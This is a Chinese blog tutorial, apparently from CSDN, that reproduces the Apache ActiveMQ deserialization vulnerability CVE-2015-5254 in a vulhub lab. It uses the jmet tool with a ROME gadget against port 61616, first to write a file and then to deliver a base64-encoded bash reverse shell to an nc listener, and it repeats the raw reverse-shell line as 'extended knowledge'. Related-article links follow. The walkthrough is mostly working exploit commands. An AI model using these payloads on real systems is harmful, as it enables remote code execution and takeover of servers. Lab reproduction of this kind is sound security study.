准备两个linux虚拟机,一个为目标机(,以下简称A,ip:192.168.98.30),一个为攻击机(以下简称B,ip:192.168.98.70)

先搭建靶场,打开A,教程在这里vulhub靶场搭建及漏洞复现教程_Cwillchris的博客-CSDN博客

服务器A的生产端口(即用户可访问端口)为61616,管理端端口(后台)为8161

打开A

1、进入该漏洞环境所在目录

cd /root/desktop/vulhub/activemq/CVE-2015-5254

2、启动docker,会自动调用搭建漏洞环境

docker-compose build

docker-compose up -d

3.浏览器访问 http://192.168.98.30:8161,这样我们就登入了服务器后台

打开B

4、在B中,构建攻击payload。

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

下载jmet

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

创建external文件夹

mkdir external

5、给目标ActiveMQ添加一个名为event的队列,此时就成功给服务器A添加了一个“事件”

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker_test" -Yp ROME 192.168.98.30 61616

6、现在A的管理员不知情,还是像往常一样打开以下链接查看事件,弹框输入账号admin,密码也是admin

http://192.168.98.30:8161/admin/browse.jsp?JMSDestination=event

管理员看到出现事件,下意识的点开

出现了如下界面,这下咱们的payload就执行了而且向A的/tmp下面写入一个文件hacker_test

不信的话,咱们看看目标机A的/tmp目录

查看正在运行的docker容器,只有一个 fe4ce23b1684

docker ps

进入容器

dockers exec -it fe4ce23b1684 /bin/bash

进入/tmp目录

cd /tmp

查看该目录下文件,发现了刚才写入的hacker_test,说明漏洞利用成功

ls

7、获取目标机系统控制权

在攻击机B上新建一个终端(1)开启6666端口监听

nc -lvp 6666

payload为 bash -i >& /dev/tcp/192.168.98.70/6666 0>&1

将payload进行base64位编码为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk4LjcwLzY2NjYgMD4mMQ==

在B上新建一个终端(2)输入如下命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk4LjcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.98.30 61616

然后终端(1)就监听到了,用ls查看目标机A上的目录

新建一个文件 echo "I am a hacker" > 1.txt

返回目标机A,查看多了1.txt,说明成功控制对方系统

扩展知识:

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build

docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

bash -i >& /dev/tcp/攻击机ip/port 0>&1

ActiveMQ反序列化漏洞CVE-2015-5254复现相关推荐

  1. ActiveMQ反序列化漏洞(CVE-2015-5254)复现

    0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache A ...

  2. XStream 反序列化漏洞 (CVE-2020-26258 26259) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象.XStream 是一款开源软件,允许在 BSD 许可证的许可下分 ...

  3. shiro反序列化漏洞的原理和复现

    一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...

  4. java反序列化漏洞:2015年被低估的“破坏之王”

    近日,2015年最为被低估的,具有巨大破坏力的漏洞浮出水面.在FoxGlove Security安全团队的@breenmachine 发布一篇博客中介绍了该漏洞在最新版的WebLogic.WebSph ...

  5. yii反序列化漏洞复现及利用

    yii反序列化漏洞 Yii框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架. Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用. 因 ...

  6. APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...

  7. 【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞

    文章目录 Unsafe Deserialization 反序列化漏洞 背景 认识Java序列化与反序列化 用途 应用场景 Java中的API实现: 序列化基础类型参数 序列化对象 漏洞是怎么来的呢? ...

  8. YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...

  9. Java 安全之反序列化漏洞

    1.序列化与反序列化: 序列化与反序列化对于 Java 程序员来说,应该不算陌生了,序列化与反序列化简单来说就是 Java 对象与数据之间的相互转化. 那么对于完全面向对象的 Java 语言来说为什么 ...

  10. 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

    JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...

最新文章

  1. 什么叫做“假学习”?
  2. RUP大讲堂(第四讲)-业务建模技术实践
  3. 【收藏】GeoMesa整体架构模块介绍、创建Schema并导入数据
  4. 从StreamCorruptedException解析值:无效的流头消息
  5. 主窗体的常用属性 c# 1615011872
  6. 连接目标数据库+无恢复目录连接目标数据库+使用有恢复目录连接目标数据库+注册数据库+目录同步+取消目标数据库的连接...
  7. Vuforia的ARcamera通过识别人工标识码出现虚拟物体后在其相机视野中不显示人工标识码
  8. SqlServer日常积累(二)
  9. 计算机软件行业绩效,关于软件行业的绩效考核.doc
  10. light动名词_英语语法大全之动名词
  11. wx.createVideoContext 全屏播放
  12. 《ANSYS 14.0超级学习手册》一1.1 有限元法概述
  13. C4D中使用Redshift渲染器翻转贴图
  14. 回眸 2022,展望 2023
  15. JQuery动画之流星雨
  16. docker 运行一个二进制文件(部署go web)
  17. uva 1362 区间DP
  18. 嵌入式Linux应用开发 1.系统编程 文件IO:open close write read lseek 通过文件io实现cp命令
  19. wpa_supplicant源码理解
  20. 页面滚动穿透解决方案

热门文章

  1. 加号和减号在一起怎么读_数学符号里的“加减”是“±”,那么“减加”怎么打?求高手!!!!!!!!! word中加号和减号放在一起怎么打出来?...
  2. 泰晤士计算机专业排行,泰晤士2021世界大学学科排名:世界大学计算机学科排名...
  3. 威斯康星麦迪逊计算机专业排名,威斯康星大学麦迪逊分校计算机工程学科排名...
  4. java投票小程序_一个实现不记名投票的小程序
  5. 【每日一题】 480. 滑动窗口中位数
  6. 云队友丨华为选拔人才,最看重这5个素质,已经用了15年
  7. eplan p8详细安装步骤文库_EPLAN_P8_2.1.6 安装步骤
  8. 操作系统软件测试,什么是操作系统_app软件测试全栈系列精品课程_功能测试视频-51CTO学堂...
  9. 微信播放在服务器视频无法播放,微信收藏的视频不能播放怎么办?怎么收藏视频?...
  10. 手机WIFI共享 打造便携式WIFI热点